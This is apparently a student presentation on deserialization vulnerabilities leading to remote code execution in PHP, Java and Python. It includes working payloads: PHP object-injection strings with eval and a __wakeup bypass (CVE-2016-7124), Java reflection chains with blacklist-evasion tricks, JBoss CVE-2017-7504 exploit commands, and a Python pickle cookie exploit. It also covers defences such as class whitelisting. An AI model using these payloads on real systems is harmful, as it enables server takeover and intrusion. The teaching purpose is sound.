Why so serialize ?
From Deserialization to RCE
Group 7, Mercury, 10175101282
Batman: The Dark Knight
Concepts
Remote Code Execution
-
Code Execution
- PHP
- Python
- Java
- OS (e.g. cmd, powershell, sh)
- Remote
- via Internet
(De)Serialization
-------- --------
| | ---- Serialize ---> | |
| Object | | Bytes |
| | <--- Deserialize ---- | |
-------- --------
RFC 1014
Persistence
Transmission
Serialized Data in PHP
O:1:"A":2:{s:3:"one";i:1;s:3:"two";a:3:{i:0;s:5:"apple";i:1;s:4:"pear";i:2;s:6:"banana";}}
<?php
class A {
public $one = 1;
public $two = array('apple', 'pear', 'banana');
}
$b = new A();
echo serialize($b);
?>
Serialize Data in Java
import java.io.Serializable;
class TestSerial implements Serializable {
public byte version = 100;
public byte count = 0;
}
Serialized Data in Java
AC ED 00 05 73 72 00 0A 53 65 72 69 61 6C 54 65
73 74 A0 0C 34 00 FE B1 DD F9 02 00 02 42 00 05
63 6F 75 6E 74 42 00 07 76 65 72 73 69 6F 6E 78
70 00 64
hex form:
Serialized Data in Python
>>> import pickle
>>> data = {'apple': 1, 'pear': 2, 'banana': 4}
>>> pickle.dumps(data)
b'\x80\x04\x95#\x00\x00\x00\x00\x00\x00\x00}\x94(\x8c\x05apple\x94K\x01\x8c\x04pear\x94K\x02\x8c\x06banana\x94K\x04u.'
Why Dangerous ?
PHP Deserialization
First attempt
<?php
class merc {
var $test = '123';
}
$object = new merc();
$data = serialize($object);
$new_object = unserialize($data);
?>
O:4:"merc":1:{s:4:"test";s:3:"456";}
Magic Functions
-
__construct()
- new Object() ✔
- unserialize() ×
- __destruct()
- __toString()
- __call()
- __wakeup()
- ...
Why using magic ?
- Call functions manually ×
- Able to control
- attributes ✔
- member functions ×
- Call other objects' member functions
Searching for evil functions
<?php
class merc {
public $test;
function __construct() {
$this->test = new L();
}
function __destruct() {
$this->test->goodbye();
}
}
class L {
function goodbye() {
echo "Bye~";
}
}
Searching for evil functions
class Evil {
var $bye_message;
function goodbye() {
eval($this->bye_message);
}
}
unserialize($_GET['test']);
http://url/?test=O:4:"merc":1:{s:4:"test";O:4:"Evil":1:{s:11:"bye_message";s:10:"phpinfo();";}}
eval() is evil !!!
Searching for evil functions
<?php
class merc {
public $test;
function __construct() {
$this->test = new Evil();
}
}
class Evil {
var $bye_message = "phpinfo();";
}
$object = new merc();
echo serialize($object);
phpinfo()
With protection
<?php
class convent {
var $warn = "No hacker.";
function __destruct() {
eval($this->warn);
}
function __wakeup() {
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
}
}
unserialize($_POST[cmd]);
CVE-2016-7124
Bypassing __wakeup()
cmd=O:7:"convent":2:{s:4:"warn";s:10:"phpinfo();";}
PHP 5.x < 5.6.25, 7.x < 7.0.10
POP chain
Property-Oriented Programing
A::__destruct()
|
--> B::goodbye() --> safe
|
--> C::goodbye()
|
--> D::foo() × No such function!
|
v
D::__call()
|
--> E::bar()
|
--> ... --> ✔ vulnerable!
Conclusion
$data not sanitized in unserialize($data)
Defending: Always sanitize $data !
(NOT enough)
Advanced Topics
- POP chain
- phar://
- Session Deserialization
- String Escape
- Object Escape
- SoapClient + Deserialization = SSRF
- Exception + Deserialization = XSS
no need for unserialize() !
Java Deserialization
Interfaces & Methods
Interface | java.io.Serializable |
Serialize | ObjectOutputStream::writeObject() |
Deserialize | ObjectOutputStream::readObject() |
Ideal Scenario
public class Evil implements Serializable{
public String cmd;
private void readObject(java.io.ObjectInputStream stream) throws Exception {
stream.defaultReadObject();
Runtime.getRuntime().exec(cmd);
}
}
Reflection
- retrieve info of Class/Object dynamically
- java.lang.Class
- ClassObject
Handy
∝
Dangerous
Example
public class User {
private String name;
public User(String name) {
this.name=name;
}
public void setName(String name) {
this.name=name;
}
public String getName() {
return name;
}
}
Creating the ClassObject
Class.forName("reflection.User") // method 1
User.class // method 2
new User().getClass() // method 3
Accessing Attributes
Class UserClass = Class.forName("reflection.User");
Constructor constructor = UserClass.getConstructor(String.class);
User user = (User) constructor.newInstance("mercury");
Field field = UserClass.getDeclaredField("name");
field.setAccessible(true);
field.set(user, "merc");
Accessing Methods
Class UserClass = Class.forName("reflection.User");
Constructor constructor = UserClass.getConstructor(String.class);
User user = (User) constructor.newInstance("mercury");
Method method = UserClass.getDeclaredMethod("setName", String.class);
method.invoke(user, "merc");
Executing Code
// java.lang.Runtime.getRuntime().exec("calc.exe");
Class runtimeClass = Class.forName("java.lang.Runtime");
// getRuntime() is static
Object runtime = runtimeClass.getMethod("getRuntime").invoke(null);
runtimeClass.getMethod("exec", String.class).invoke(runtime, "calc.exe");
Over-complicated ?
- More choice in attacking
- Easier to bypass restrictions
Blacklist: Runtime
java.lang.Runtime.getRuntime() ×
"getRu" + "ntime" ✔
new String("Z2V0UnVudGltZQ==").Base64Decode() ✔
Real Vulnerabilties
Websphere
Jboss
Weblogic
Spring
Jenkins
Struts
OpenNMS
Jackson
Fastjson
JMeter
Shiro
CVE-2017-7504
JBossMQ JMS <= 4.x
javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java
java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1 "calc.exe"
curl http://ip:port/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1.ser
JavaDeserH2HC
commons-collections-3.2.1.jar
ExampleCommonsCollections1.java
vuln lib
exploit code
ExampleCommonsCollections1.ser
payload
Exploit with Reflection
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
(new Class[] {String.class, Class[].class }),
(new Object[] {"getRuntime", new Class[0] })
),
((Runtime)Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object[0])).exec(cmd[]);
Exploit with Reflection
new InvokerTransformer(
"invoke",
(new Class[] {Object.class, Object[].class}),
(new Object[] {null, new Object[0]})
),
new InvokerTransformer(
"exec",
new Class[] { String[].class },
new Object[]{ cmd }
)
};
Tools
marshalsec & ysoserial
POP chains
Locating Vulns
- Source Code
- Entrypoints
- Libraries
- implements Serializable
- Network Traffic
- AC ED 00 05 ==base64==> rO0AB
- RMI / JMX
CommonsCollections
Entrypoints
ObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject
...
Defending
- Sanitize
- Tools
- Whitelisting
SerialKiller
contrast-rO0
Hooking resolveClass()
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) {
if (!desc.getName().equals(User.class.getName())) {
throw new InvalidClassException(
"Unauthorized unserialization attempt",
desc.getName());
}
return super.resolveClass(desc);
}
Higher-level ?
Python Deserialization
Serialization Lib
third-party lib
pickle
-------- --------
| | ---- pickle.dumps() ---> | |
| Object | | Bytes |
| | <--- pickle.loads() ---- | |
-------- --------
Scenarios
Redis
MongoDB
Memcached
pickle.loads(...)
Session
RCE
Back to Magic Functions
__reduce__()
PVM
I've never seen this class, how to (de)serialize it ?
It's easy, just:
(os.system, ('/bin/sh',))
Web Application
@app.route("/")
def index():
try:
user = base64.b64decode(request.cookies.get('user'))
user = pickle.loads(user)
username = user["username"]
except:
username = "Guest"
return "Hello %s" % username
Exploit
import os
import pickle
import requests
import base64
class test(object):
def __reduce__(self):
return (os.system,('whoami',))
a = test()
payload = pickle.dumps(a)
cookies = dict(user=base64.b64encode(payload).decode('utf-8'))
response = requests.get("http://127.0.0.1:5000", cookies=cookies)
The rest ?
Advanced Topics
- Serializing functions
- PVM opcode
- Bypassing whitelist
- Unserializing other format e.g. JSON
Sandbox Escaping
DXP
Data eXchange Protocol
XML
<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
JSON
{
"name": "Tom",
"Grade":1,
"age":11,
"gender": "M"
}
Data eXchange Protocol
Protobuf
Thrift
Hessian
......
Trend
- Language-independent
- faster
- safer
- less redundant info
Why safer?
{
"name": "Tom",
"Grade":1,
"age":11,
"gender": "M"
}
What is data is data.
Flexibility
∝
1 / Security
Security Issues
XML
JSON
XXE / XMLDecoder
Jackson / Fastjson
Binary
Heap Overflow
Replace ?
Serialization
DXP
Application Level
Language Level
Conclusion
References
1. https://tools.ietf.org/html/rfc1014
2. https://juejin.im/post/6844903765921808397
3. https://www.iteye.com/blog/longdick-458557
4. https://python3-cookbook.readthedocs.io/zh_CN/latest/c05/p21_serializing_python_objects.html
5. https://www.k0rz3n.com/2018/11/19/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#1-%E6%A6%82%E5%BF%B5%E8%A7%A3%E9%87%8A%EF%BC%9A
6. https://xz.aliyun.com/t/7570
7. https://xz.aliyun.com/t/6787
8. https://xz.aliyun.com/t/2041
9. https://github.com/frohoff/ysoserial
10. https://github.com/mbechler/marshalsec
11. https://github.com/joaomatosf/JavaDeserH2HC
12. https://github.com/ikkisoft/SerialKiller
13. https://misakikata.github.io/2020/04/python-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#pickle
14. https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BPython%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
15. http://hengyunabc.github.io/thinking-about-grpc-protobuf/
16. https://vulhub.org/#/environments/jboss/CVE-2017-7504/
Questions ?
Why So Serialize
By Mercury
Why So Serialize
From Unserialization to RCE
- 336